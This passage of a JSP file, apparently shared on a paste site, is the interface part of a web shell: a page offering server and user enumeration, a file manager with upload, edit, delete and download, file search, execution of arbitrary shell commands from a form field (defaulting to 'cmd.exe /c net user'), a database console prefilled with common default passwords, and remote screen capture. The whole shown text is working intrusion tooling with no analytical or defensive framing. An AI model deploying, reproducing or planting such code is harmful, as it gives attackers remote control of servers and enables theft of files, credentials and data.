  919. response.sendRedirect(request.getRequestURI());
  920. //out.close();
  921. return;
  922. }
  923. %>
  924. <form name="actionForm">
  925. <input id="actionOption" type="hidden" name="action" value="Environment" />
  926. </form>
  927. <div style="margin-left: 2px">
  928. <div class="oper" onclick="redirect('env')"><%=orChinese("Environment")%></div>
  929. <div class="oper" onclick="redirect('file')" id="file_system"><%=orChinese("File Manager")%></div>
  930. <div class="oper" onclick="redirect('search')"><%=orChinese("File Search")%></div>
  931. <div class="oper" onclick="redirect('command')"><%=orChinese("Command")%></div>
  932. <div class="oper" onclick="redirect('database')"><%=orChinese("Database")%></div>
  933. <div class="oper" onclick="redirect('screen')"><%=orChinese("Screen Capture")%></div>
  934. <div class="oper" onclick="redirect('exit')"><%=orChinese("Logoff")%></div>
  935. </div>
  936. <% if (action.equals("lang")){
  937. language = request.getParameter("lang");
  938. String oldurl = request.getParameter("oldurl");
  939. if (oldurl!= null){
  940. oldurl = oldurl.replace("{{and}}", "&").replace("{{question}}", "?");
  941. }
  942. String sRet = "<meta http-equiv=\"refresh\" content=\"0;url="+oldurl+"\" />";
  943. %>
  944. <div class="container break-all"><%=sRet %></div>
  945. <%
  946. }else if (action.equals("env")) {
  947. %>
  948. <table class="container break-all onhover">
  949. <tr>
  950. <td width="20%"><%=orChinese("OS") %></td>
  951. <td width="80%"><%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " "+ System.getProperty("os.arch")%></td>
  952. </tr>
  953. <tr>
  954. <td><%=orChinese("Computer Name") %></td>
  955. <td><%=System.getenv().get("COMPUTERNAME")%></td>
  956. </tr>
  957. <tr>
  958. <td><%=orChinese("Available Processors") %></td>
  959. <td><%=Runtime.getRuntime().availableProcessors() %></td>
  960. </tr>
  961. <tr>
  962. <td><%=orChinese("IP") %></td>
  963. <td><%=InetAddress.getLocalHost().getHostAddress().toString() %></td>
  964. </tr>
  965. <tr>
  966. <td><%=orChinese("System Driver") %></td>
  967. <td><%=System.getenv().get("SystemDrive")%></td>
  968. </tr>
  969. <tr>
  970. <td><%=orChinese("Driver Info") %></td>
  971. <td><%=getDriverInfo() %></td>
  972. </tr>
  973. <tr>
  974. <td><%=orChinese("User Name") %></td>
  975. <td><%=System.getenv().get("USERNAME")%></td>
  976. </tr>
  977. <tr>
  978. <td><%=orChinese("User Domain") %></td>
  979. <td><%=System.getenv().get("USERDOMAIN")%></td>
  980. </tr>
  981. <tr>
  982. <td><%=orChinese("User DNS Domain") %></td>
  983. <td><%=System.getenv().get("USERDNSDOMAIN")%></td>
  984. </tr>
  985. <tr>
  986. <td><%=orChinese("User Profile") %></td>
  987. <td><%=System.getenv().get("USERPROFILE")%></td>
  988. </tr>
  989. <tr>
  990. <td><%=orChinese("All User Profile") %></td>
  991. <td><%=System.getenv().get("ALLUSERSPROFILE")%></td>
  992. </tr>
  993. <tr>
  994. <td><%=orChinese("Temp") %></td>
  995. <td><%=System.getenv().get("TEMP")%></td>
  996. </tr>
  997. <tr>
  998. <td><%=orChinese("Program Files") %></td>
  999. <td><%=System.getenv().get("ProgramFiles")%></td>
  1000. </tr>
  1001. <tr>
  1002. <td><%=orChinese("AppData") %></td>
  1003. <td><%=System.getenv().get("APPDATA")%></td>
  1004. </tr>
  1005. <tr>
  1006. <td><%=orChinese("System Root") %></td>
  1007. <td><%=System.getenv().get("SystemRoot")%></td>
  1008. </tr>
  1009. <tr>
  1010. <td><%=orChinese("Console") %></td>
  1011. <td><%=System.getenv().get("ComSpec")%></td>
  1012. </tr>
  1013. <tr>
  1014. <td><%=orChinese("File Executable") %></td>
  1015. <td><%=System.getenv().get("PATHEXT")%></td>
  1016. </tr>
  1017. <tr>
  1018. <td><%=orChinese("My Path") %></td>
  1019. <td><%=request.getSession().getServletContext().getRealPath(request.getServletPath())%></td>
  1020. </tr>
  1021. <tr>
  1022. <td><%=orChinese("User Dir") %></td>
  1023. <td><%=System.getProperty("user.dir")%></td>
  1024. </tr>
  1025. <tr>
  1026. <td><%=orChinese("Protocol") %></td>
  1027. <td><%=request.getProtocol()%></td>
  1028. </tr>
  1029. <tr>
  1030. <td><%=orChinese("Server Info") %></td>
  1031. <td><%=application.getServerInfo()%></td>
  1032. </tr>
  1033. <tr>
  1034. <td><%=orChinese("JDK Version") %></td>
  1035. <td><%=System.getProperty("java.version")%></td>
  1036. </tr>
  1037. <tr>
  1038. <td><%=orChinese("JDK Home") %></td>
  1039. <td><%=System.getProperty("java.home")%></td>
  1040. </tr>
  1041. <tr>
  1042. <td><%=orChinese("JVM Version") %></td>
  1043. <td><%=System.getProperty("java.vm.specification.version")%></td>
  1044. </tr>
  1045. <tr>
  1046. <td><%=orChinese("JVM Name") %></td>
  1047. <td><%=System.getProperty("java.vm.name")%></td>
  1048. </tr>
  1049. <tr>
  1050. <td><%=orChinese("Class Path") %></td>
  1051. <td><%=System.getProperty("java.class.path")%></td>
  1052. </tr>
  1053. <tr>
  1054. <td><%=orChinese("Java Library Path") %></td>
  1055. <td><%=System.getProperty("java.library.path")%></td>
  1056. </tr>
  1057. <tr>
  1058. <td><%=orChinese("Java tmpdir") %></td>
  1059. <td><%=System.getProperty("java.io.tmpdir")%></td>
  1060. </tr>
  1061. <tr>
  1062. <td><%=orChinese("Compiler") %></td>
  1063. <td><%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%></td>
  1064. </tr>
  1065. <tr>
  1066. <td><%=orChinese("Java ext dirs") %></td>
  1067. <td><%=System.getProperty("java.ext.dirs")%></td>
  1068. </tr>
  1069. <tr>
  1070. <td><%=orChinese("Remote Addr") %></td>
  1071. <td><%=request.getRemoteAddr()%></td>
  1072. </tr>
  1073. <tr>
  1074. <td><%=orChinese("Remote Host") %></td>
  1075. <td><%=request.getRemoteHost()%></td>
  1076. </tr>
  1077. <tr>
  1078. <td><%=orChinese("Remote User") %></td>
  1079. <td><%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%></td>
  1080. </tr>
  1081. <tr>
  1082. <td><%=orChinese("Scheme") %></td>
  1083. <td><%=request.getScheme()%></td>
  1084. </tr>
  1085. <tr>
  1086. <td><%=orChinese("Secure") %></td>
  1087. <td><%=request.isSecure() == true ? orChinese("Yes") : orChinese("No") %></td>
  1088. </tr>
  1089. </table>
  1090. <%
  1091. }
  1092. if (action.equals("file")) {
  1093. String curPath = "";
  1094. String result = "";
  1095. String fsAction = "";
  1096. if (request.getParameter("curPath") == null) {
  1097. curPath = request.getSession().getServletContext().getRealPath(request.getServletPath());
  1098. curPath = pathConvert((new File(curPath)).getParent());
  1099. }
  1100. else {
  1101. curPath = Unicode2GB((String)request.getParameter("curPath"));
  1102. curPath = pathConvert(curPath);
  1103. }
  1104. if (request.getParameter("fsAction") == null) {
  1105. fsAction = "list";
  1106. } else {
  1107. fsAction = (String)request.getParameter("fsAction");
  1108. }
  1109. if (fsAction.equals("list")){
  1110. %>
  1111. <div class="container">
  1112. <form method="post" name="form3" action="<%= request.getRequestURI() + "?action=file"%>">
  1113. <div align="left">
  1114.  
  1115. <input type="text" class="trans" size="100" name="curPath" value="<%=curPath%>" /> <input type="submit" value="<%=orChinese("GOTO") %>"
  1116. class="trans" /> <input type="button" value="<%=orChinese("Home") %>" class="trans"
  1117. onclick="javascript:document.getElementById('file_system').click();" />
  1118. <%
  1119. String os = System.getProperties().getProperty("os.name");
  1120. if (os.toUpperCase().contains("WIN")){
  1121. File[] files = File.listRoots();
  1122. for(int i = 0; i < files.length; i++) {
  1123. %>
  1124. <input type="button" class="trans"
  1125. onclick="javascript:window.location.href='<%= request.getRequestURI() + "?action=file&curPath=" + files[i].getPath().replace("\\", "/")%>'"
  1126. value="<%= files[i]%>" />
  1127. <%
  1128. }
  1129. }
  1130. %>
  1131.  
  1132. </div>
  1133. <table class="onhover" style="width: 100%">
  1134. <tr>
  1135. <td align="center"><%=orChinese("File Name") %></td>
  1136. <td align="center" width="10%"><%=orChinese("Size") %></td>
  1137. <td align="center" width="38%"><%=orChinese("Operation") %></td>
  1138. </tr>
  1139. <tr>
  1140. <%
  1141. File curFolder = new File(curPath);
  1142. %>
  1143. <td><a href="<%=request.getRequestURI() %>?action=file&curPath=<%=curFolder.getParent() %>">[..]</a></td>
  1144. <td align="right"></td>
  1145. <td></td>
  1146. </tr>
  1147. <%
  1148. for (File file : this.getFolderList(curPath)){
  1149. MyFile f = new MyFile(file.getAbsolutePath(),request.getRequestURI()+"?action=file&curPath=" +curPath );
  1150. f.setHtmlOperation(Operation.Rename,Operation.Delete,Operation.Download);
  1151. %>
  1152. <tr>
  1153. <td><a href="<%=request.getRequestURI() %>?action=file&curPath=<%=f.getAbsolutePath() %>">[<%=f.getName() %>]
  1154. </a></td>
  1155. <td align="right"><%=f.getLength() %></td>
  1156. <td><%=f.getHtmlOperation() %></td>
  1157. </tr>
  1158. <%
  1159. }
  1160. for (File file : this.getFileList(curPath)){
  1161. MyFile f = new MyFile(file.getAbsolutePath(),request.getRequestURI()+"?action=file&curPath=" +curPath );
  1162. f.setHtmlOperation(Operation.Edit,Operation.Rename,Operation.Delete,Operation.Download);
  1163. %>
  1164. <tr>
  1165. <td><%=f.getName() %></td>
  1166. <td align="right"><%=f.getLength() %></td>
  1167. <td><%=f.getHtmlOperation() %></td>
  1168. </tr>
  1169. <%
  1170. }
  1171. %>
  1172. </table>
  1173. <div align="left">
  1174. <table style="width: 100%;">
  1175. <tr>
  1176. <td align="left" style="border: 0">
  1177. <input type="text" name="uploadFilePath" id="uploadFilePath" size="60" class="trans" />
  1178. <input type="button" value="<%=orChinese("Select")%>" class="trans" onclick="javascript:document.getElementById('fileSelect').click()">
  1179. <input type="button" value="<%=orChinese("Upload")%>" class="trans" onclick="javascript:document.getElementById('uploadform').submit()" />
  1180. </td>
  1181. <td align="right" style="border: 0">
  1182. <input type="text" id="createFileName" class="trans" size="26" name="fileName" />
  1183. <input type="button" class="trans" value="<%=orChinese("Create File")%>" onclick='createFile("<%=request.getRequestURI() + "?action=file&curPath=" + curPath + "&fsAction=createFile"%>")'>
  1184. <input type="button" class="trans" value="<%=orChinese("Create Folder")%>" onclick='createFile("<%=request.getRequestURI() + "?action=file&curPath=" + curPath + "&fsAction=createFolder"%>")'>
  1185. </td>
  1186. </tr>
  1187. </table>
  1188. </div>
  1189. </form>
  1190. <div align="left">
  1191. <form id="uploadform" name="upload" enctype="multipart/form-data" method="post"
  1192. action="<%=request.getRequestURI() + "?action=file&curPath=" + curPath + "&fsAction=upload"%>">
  1193. <input type="file" style="display: none" name="upFile" id="fileSelect"
  1194. onchange="javascript:document.getElementById('uploadFilePath').value=this.value" />
  1195. </form>
  1196. </div>
  1197. </div>
  1198.  
  1199. <%
  1200. }else if (fsAction.equals("Edit")){
  1201. if (request.getParameter("fileName") == null) {
  1202. result = "<div class=\"container\"><font color=\"red\">"+orChinese("Folder name is null")+"</font></div>";
  1203. } else {
  1204. String fileName = Unicode2GB(request.getParameter("fileName").trim());
  1205. result = openFile(curPath, fileName, request.getRequestURI() + "?action=" + action);
  1206. }
  1207. }else if (fsAction.equals("save")) {
  1208. if (request.getParameter("fileContent") == null) {
  1209. result = "<font color=\"red\">"+orChinese("Content is null")+"</font>";
  1210. } else {
  1211. if (request.getParameter("fileName") == null) {
  1212. result = "<div class=\"container\"><font color=\"red\">"+orChinese("Folder name is null")+"</font></div>";
  1213. } else {
  1214. String fileName = Unicode2GB(request.getParameter("fileName").trim());
  1215. String fileContent = Unicode2GB((String)request.getParameter("fileContent"));
  1216. result = saveFile(curPath, fileName, request.getRequestURI() + "?action=" + action, fileContent);
  1217. }
  1218. }
  1219. } else if (fsAction.equals("createFolder")) {
  1220. if (request.getParameter("fileName") == null) {
  1221. result = "<div class=\"container\"><font color=\"red\">"+orChinese("Folder name is null")+"</font></div>";
  1222. } else {
  1223. String folderName = Unicode2GB(request.getParameter("fileName").trim());
  1224. if (folderName.equals("")) {
  1225. result = "<div class=\"container\"><font color=\"red\">"+orChinese("Folder name is null")+"</font></div>";
  1226. } else {
  1227. result = createFolder(curPath,folderName,request.getRequestURI() + "?action=" + action);
  1228. }
  1229. }
  1230. } else if (fsAction.equals("createFile")) {
  1231. if (request.getParameter("fileName") == null) {
  1232. result = "<div class=\"container\"><font color=\"red\">"+orChinese("File name is null")+"</font></div>";
  1233. } else {
  1234. String fileName = Unicode2GB(request.getParameter("fileName").trim());
  1235. if (fileName.equals("")) {
  1236. result = "<div class=\"container\"><font color=\"red\">"+orChinese("File name is null")+"</font></div>";
  1237. } else {
  1238. result = createFile(curPath,fileName,request.getRequestURI() + "?action=" + action);
  1239. }
  1240. }
  1241. } else if (fsAction.equals("Delete")) {
  1242. String fileName= Unicode2GB(request.getParameter("fileName").trim());
  1243. result = deleteFile(curPath,fileName,request.getRequestURI() + "?action=" + action);
  1244. } else if (fsAction.equals("upload")) {
  1245. result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action);
  1246. } else if (fsAction.equals("Rename")) {
  1247. String newName = Unicode2GB(request.getParameter("newName").trim());
  1248. String fileName = Unicode2GB(request.getParameter("fileName").trim());
  1249. result = rename(curPath,fileName,newName,request.getRequestURI() + "?action=" + action);
  1250. } else if (fsAction.equals("Download")) {
  1251. String fileName= Unicode2GB(request.getParameter("fileName").trim());
  1252. result = download(curPath,fileName,request.getRequestURI() + "?action=" + action, response);
  1253. }
  1254. %>
  1255. <div class="container">
  1256. <font color="red"><%=result %></font>
  1257. </div>
  1258. <%
  1259. }
  1260. if (action.equals("search")) {
  1261. String curPath = request.getSession().getServletContext().getRealPath(request.getServletPath());
  1262. curPath = pathConvert((new File(curPath)).getParent());
  1263.  
  1264. String searchpath = Unicode2GB(request.getParameter("searchpath"));
  1265. if (searchpath == null || searchpath.trim().length() == 0){
  1266. searchpath = curPath;
  1267. }
  1268. String searchsubfix = Unicode2GB(request.getParameter("searchsubfix"));
  1269. if (searchsubfix == null || searchsubfix.trim().length() == 0){
  1270. searchsubfix = ".jsp .html .htm";
  1271. }
  1272. String searchby = request.getParameter("searchby");
  1273. String ignorecase = request.getParameter("ignorecase");
  1274. String searchcontent = Unicode2GB(request.getParameter("searchcontent"));
  1275. if (searchcontent == null || searchcontent.trim().length() == 0){
  1276. searchcontent = "index";
  1277. }
  1278. String fsAction = request.getParameter("fsAction");
  1279. String searchResult = "";
  1280. if (fsAction != null){
  1281. searchResult = searchFile(searchpath, searchcontent , searchsubfix, "name".equals(searchby),"yes".equals(ignorecase));
  1282. }
  1283. %>
  1284. <form class="container" name="searchForm" method="post" action="<%=request.getRequestURI() + "?action=search&fsAction=search"%>">
  1285. <table>
  1286. <tr>
  1287. <td width="260px" align="right"><%=orChinese("Search from") %>:</td>
  1288. <td><input type="text" id="searchpath" class="trans" name="searchpath" size="100" value="<%=searchpath %>" /></td>
  1289. </tr>
  1290. <tr>
  1291. <td align="right"><%=orChinese("Search for file type") %>:</td>
  1292. <td><input type="text" id="searchsubfix" class="trans" name="searchsubfix" size="100" value="<%=searchsubfix %>" /></td>
  1293. </tr>
  1294. <tr>
  1295. <td align="right"><%=orChinese("Setting") %>:</td>
  1296. <td>
  1297. <%
  1298. if ("content".equals(searchby)){
  1299. %> <input type="radio" class="trans" name="searchby" value="name" /><%=orChinese("Search by Name") %> <input type="radio" name="searchby"
  1300. class="trans" value="content" checked="checked" /><%=orChinese("Search by Content") %> <%
  1301. }else{
  1302. %> <input type="radio" class="trans" name="searchby" value="name" checked="checked" /><%=orChinese("Search by Name") %> <input type="radio"
  1303. name="searchby" class="trans" value="content" /><%=orChinese("Search by Content") %> <%
  1304. }
  1305. if ("yes".equals(ignorecase)){
  1306. %> <input type="checkbox" name="ignorecase" class="trans" value="yes" checked="checked" /><%=orChinese("Ignore Case") %> <%
  1307. }else{
  1308. %> <input type="checkbox" name="ignorecase" class="trans" value="yes" /><%=orChinese("Ignore Case") %> <%
  1309. }
  1310. %>
  1311. </td>
  1312. </tr>
  1313. <tr>
  1314. <td align="right"><%=orChinese("Search keyword") %>:</td>
  1315. <td><input type="text" id="searchcontent" class="trans" name="searchcontent" size="40" value="<%=searchcontent %>" /> <input type="submit"
  1316. value="<%=orChinese("Search") %>" class="trans" /></td>
  1317. </tr>
  1318. <tr>
  1319. <td colspan="2" align="left" id="searchresult"><%=searchResult %></td>
  1320. </tr>
  1321. </table>
  1322. </form>
  1323. <%
  1324. }
  1325. if (action.equals("command")) {
  1326. String cmd = "";
  1327. InputStream ins = null;
  1328. String result = "";
  1329.  
  1330. if (request.getParameter("command") != null) {
  1331. cmd = (String)request.getParameter("command");
  1332. result = exeCmd(cmd);
  1333. }
  1334. %>
  1335. <form class="container" name="form2" method="post" action="<%=request.getRequestURI() + "?action=command"%>">
  1336. <%
  1337. if (cmd==null || "".equals(cmd.trim())){
  1338. if (System.getProperty("os.name").toLowerCase().contains("windows")){
  1339. cmd = "cmd.exe /c net user";
  1340. }else{
  1341. cmd = "uname -a";
  1342. }
  1343. }
  1344. %>
  1345. <div align="left">
  1346. <input type="text" size="130" class="trans" size="133" name="command" value="<%=cmd%>" /> <input type="submit" class="trans"
  1347. value="<%=orChinese("Execute") %>" />
  1348. </div>
  1349. <table style="width: 100%; height: 100px">
  1350. <tr>
  1351. <td><%=result == "" ? "&nbsp;" : result%></td>
  1352. </tr>
  1353. </table>
  1354. </form>
  1355. <%
  1356. }
  1357. if (action.equals("database")) {
  1358. String SQLResult = "";
  1359. String dbType = request.getParameter("dbType");
  1360. dbType = dbType == null?"Mysql":dbType;
  1361. String driver = request.getParameter("driver");
  1362. String port = request.getParameter("port");
  1363. String dbname = Unicode2GB(request.getParameter("dbname"));
  1364. String host = Unicode2GB(request.getParameter("host"));
  1365. String sql = Unicode2GB(request.getParameter("sql"));
  1366. String dbuser = Unicode2GB(request.getParameter("dbuser"));
  1367. String dbpass = Unicode2GB(request.getParameter("dbpass"));
  1368. String fsAction = request.getParameter("fsAction");
  1369. String connurl = Unicode2GB(request.getParameter("connurl"));
  1370. if (sql==null) sql="";
  1371. if (fsAction == null || "typeChange".equals(fsAction)){
  1372. if ("Mysql".equalsIgnoreCase(dbType)){
  1373. driver = "com.mysql.jdbc.Driver";
  1374. port = "3306";
  1375. dbuser = "root";
  1376. dbpass = "root";
  1377. host = "localhost";
  1378. dbname = "mysql";
  1379. }else if("Oracle".equalsIgnoreCase(dbType)){
  1380. driver = "oracle.jdbc.driver.OracleDriver";
  1381. port = "1521";
  1382. dbuser = "scott";
  1383. dbpass = "tiger";
  1384. host = "localhost";
  1385. dbname = "orcl";
  1386. }else if("SQLServer".equalsIgnoreCase(dbType)){
  1387. driver = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
  1388. port = "1433";
  1389. dbuser = "sa";
  1390. dbpass = "123456";
  1391. host = "localhost";
  1392. dbname = "master";
  1393. }else if("DB2".equalsIgnoreCase(dbType)){
  1394. driver = "com.ibm.db2.jdbc.app.DB2Driver";
  1395. port = "5000";
  1396. dbuser = "db2admin";
  1397. dbpass = "123456";
  1398. host = "localhost";
  1399. dbname = "";
  1400. }else if("Other".equalsIgnoreCase(dbType)){
  1401. driver = "sun.jdbc.odbc.JdbcOdbcDriver";
  1402. connurl = "jdbc:odbc:dsn=dsnName;User=username;Password=password";
  1403. dbuser = "";
  1404. dbpass = "";
  1405. }
  1406. }else if("connect".equals(fsAction)){
  1407. if (driver!=null){
  1408. Class.forName(driver);
  1409. if ("Mysql".equalsIgnoreCase(dbType)){
  1410. connurl = "jdbc:mysql://localhost:"+port+"/" + dbname;
  1411. }else if("Oracle".equalsIgnoreCase(dbType)){
  1412. connurl = "jdbc:oracle:thin@localhost:"+port+":"+ dbname;
  1413. }else if("SQLServer".equalsIgnoreCase(dbType)){
  1414. connurl = "jdbc:sqlserver://localhost:"+port+";databaseName=" + dbname;
  1415. }else if("DB2".equalsIgnoreCase(dbType)){
  1416. connurl = "jdbc:db2://localhost:"+port+"/" + dbname;
  1417. }
  1418. SQLResult = this.DBConnect(connurl, dbuser, dbpass);
  1419. }
  1420. }else if("disconnect".equals(fsAction)){
  1421. try {
  1422. if (dbStatement != null) {
  1423. dbStatement.close();
  1424. dbStatement = null;
  1425. }
  1426. if (conn != null) {
  1427. conn.close();
  1428. conn = null;
  1429. }
  1430. } catch (SQLException e) {
  1431.  
  1432. }
  1433. }else if("execute".equals(fsAction)){
  1434. SQLResult = DBExecute(sql);
  1435. }
  1436. %>
  1437. <form class="container" id="sqlform" name="sqlform" method="post" action="<%=request.getRequestURI() + "?action=database"%>">
  1438. <table style="width: 100%;">
  1439. <tr>
  1440. <td align="right" width="15%"><%=orChinese("Database Type") %>:</td>
  1441. <td align="left" width="85%"><select id="dbtype_select" name=dbType style="background-color: black; color: white"
  1442. onchange="dbsubmit('typeChange')">
  1443. <%
  1444. if ("Mysql".equalsIgnoreCase(dbType)){
  1445. %>
  1446. <option value="Mysql" selected="selected">Mysql</option>
  1447. <option value="Oracle">Oracle</option>
  1448. <option value="SQLServer">SQLServer</option>
  1449. <option value="DB2">DB2</option>
  1450. <option value="Other">Other</option>
  1451. <%
  1452. }else if("Oracle".equalsIgnoreCase(dbType)){
  1453. %>
  1454. <option value="Mysql">Mysql</option>
  1455. <option value="Oracle" selected="selected">Oracle</option>
  1456. <option value="SQLServer">SQLServer</option>
  1457. <option value="DB2">DB2</option>
  1458. <option value="Other">Other</option>
  1459. <%
  1460. }else if("DB2".equalsIgnoreCase(dbType)){
  1461. %>
  1462. <option value="Mysql">Mysql</option>
  1463. <option value="Oracle">Oracle</option>
  1464. <option value="SQLServer">SQLServer</option>
  1465. <option value="DB2" selected="selected">DB2</option>
  1466. <option value="Other">Other</option>
  1467. <%
  1468. }else if("SQLServer".equalsIgnoreCase(dbType)){
  1469. %>
  1470. <option value="Mysql">Mysql</option>
  1471. <option value="Oracle">Oracle</option>
  1472. <option value="SQLServer" selected="selected">SQLServer</option>
  1473. <option value="DB2">DB2</option>
  1474. <option value="Other">Other</option>
  1475. <%
  1476. }else if("Other".equalsIgnoreCase(dbType)){
  1477. %>
  1478. <option value="Mysql">Mysql</option>
  1479. <option value="Oracle">Oracle</option>
  1480. <option value="SQLServer">SQLServer</option>
  1481. <option value="DB2">DB2</option>
  1482. <option value="Other" selected="selected">Other</option>
  1483. <%
  1484. }
  1485. %>
  1486. </select></td>
  1487. </tr>
  1488.  
  1489. <tr>
  1490. <td align="right"><%=orChinese("Driver") %>:</td>
  1491. <td align="left"><input type="text" size="50" class="trans" name="driver" value="<%=driver %>" /></td>
  1492. </tr>
  1493. <%
  1494. if ("Other".equalsIgnoreCase(dbType)){
  1495. %>
  1496. <tr>
  1497. <td align="right"><%=orChinese("Connect URL") %>:</td>
  1498. <td align="left"><input type="text" size="50" class="trans" name="connurl" value="<%=connurl %>" /></td>
  1499. </tr>
  1500. <%
  1501. }else{
  1502. %>
  1503. <tr>
  1504. <td align="right"><%=orChinese("Host") %>:</td>
  1505. <td align="left"><input type="text" size="50" class="trans" name="host" value="<%=host %>" /></td>
  1506. </tr>
  1507. <tr>
  1508. <td align="right"><%=orChinese("Port") %>:</td>
  1509. <td align="left"><input type="text" size="50" class="trans" name="port" value="<%=port %>" /></td>
  1510. </tr>
  1511. <tr>
  1512. <td align="right"><%=orChinese("DB Name") %>:</td>
  1513. <td align="left"><input type="text" size="50" class="trans" name="dbname" value="<%=dbname %>" /></td>
  1514. </tr>
  1515. <%
  1516. }
  1517. %>
  1518. <tr>
  1519. <td align="right"><%=orChinese("Username") %>:</td>
  1520. <td align="left"><input type="text" size="50" class="trans" name="dbuser" value="<%=dbuser %>" /></td>
  1521. </tr>
  1522. <tr>
  1523. <td align="right"><%=orChinese("Password") %>:</td>
  1524. <td align="left"><input type="text" size="50" class="trans" name="dbpass" value="<%=dbpass %>" /></td>
  1525. </tr>
  1526. <tr>
  1527. <td align="right"><%=orChinese("Connect") %>:</td>
  1528. <td align="left"><input type="button" class="trans" value="<%=orChinese("Connect") %>" onclick="dbsubmit('connect')" /> <input type="button"
  1529. class="trans" value="<%=orChinese("Disconnect") %>" onclick="dbsubmit('disconnect')" /></td>
  1530. </tr>
  1531. <tr>
  1532. <td align="right"><%=orChinese("SQL") %>:</td>
  1533. <td><input type="text" class="trans" size="100" name="sql" value="<%=sql %>" /> <input type="submit" class="trans"
  1534. value="<%=orChinese("Execute") %>" onclick="dbsubmit('execute')" /></td>
  1535. </tr>
  1536. <tr height="50">
  1537. <td colspan="2"><%=SQLResult %></td>
  1538. <tr />
  1539. </table>
  1540. </form>
  1541. <%}
  1542. if (action.equals("screen")){
  1543. %>
  1544. <div class="container" align="left">
  1545. <input type="button" value="<%=orChinese("Refresh") %>" class="trans" onclick="javascript:location = location" />
  1546. <img style="-webkit-user-select: none; cursor: zoom-in;" width="100%" src="<%=request.getRequestURI()+"?action=getscreen" %>" />
  1547. </div>
  1548. <%
  1549. }
  1550. if (action.equals("getscreen")){
  1551. out.clear();
  1552. out = pageContext.pushBody();
  1553. this.getScreenImg(request, response);
  1554. }
  1555. %>
  1556. <%}%>
  1557. <a href="#" onclick="languageChanged('<%=request.getRequestURI()+"?action=lang&lang=ENG" %>',window.location.href)">English</a>&nbsp;
  1558. <a href="#" onclick="languageChanged('<%=request.getRequestURI()+"?action=lang&lang=CHN" %>',window.location.href)">&#20013;&#25991;</a>
  1559. </body>
  1560. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement